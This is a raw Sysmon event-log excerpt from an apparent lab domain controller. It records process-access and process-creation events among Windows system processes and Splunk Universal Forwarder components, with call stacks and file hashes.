09:11:54.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005546Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005545Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.023{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-295A-5F80-3801-000000007F01}1160C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005544Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.023{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-295A-5F80-3801-000000007F01}1160C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005543Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.023{A5F018FF-295A-5F80-3801-000000007F01}1160C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe8.0.2Performance monitorsplunk ApplicationSplunk Inc.splunk-perfmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=1F3027C93882E5D5A667B84CCEF3ED67,SHA256=504CDB3742BCBF617C837270CCEC0243205B7BF0A6AB5117EFB838DD2F004AAC,IMPHASH=53D37CD53647C5D82FCFA9E6970E154E{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005584Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:55.507{A5F018FF-295B-5F80-3A01-000000007F01}42322968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005583Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:55.366{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-295B-5F80-3A01-000000007F01}4232C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005582Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:55.366{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005581Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:55.366{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005580Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:55.366{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005579Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:55.366{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005578Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:55.366{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005577Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:55.366{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005576Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:55.366{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005575Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:55.366{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005574Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:55.366{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005573Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:55.366{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-295B-5F80-3A01-000000007F01}4232C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005572Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:55.366{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-295B-5F80-3A01-000000007F01}4232C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005571Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:55.367{A5F018FF-295B-5F80-3A01-000000007F01}4232C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005614Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.882{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-295C-5F80-3C01-000000007F01}3808C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005613Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.882{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-295C-5F80-3C01-000000007F01}3808C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005612Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.866{A5F018FF-295C-5F80-3C01-000000007F01}38084104C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe+577205|C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe+576d36|C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe+56c09|C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe+572d6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe+8fe2c4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005611Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.710{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-295C-5F80-3C01-000000007F01}3808C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005610Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.710{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005609Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.710{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005608Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.710{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005607Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.710{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 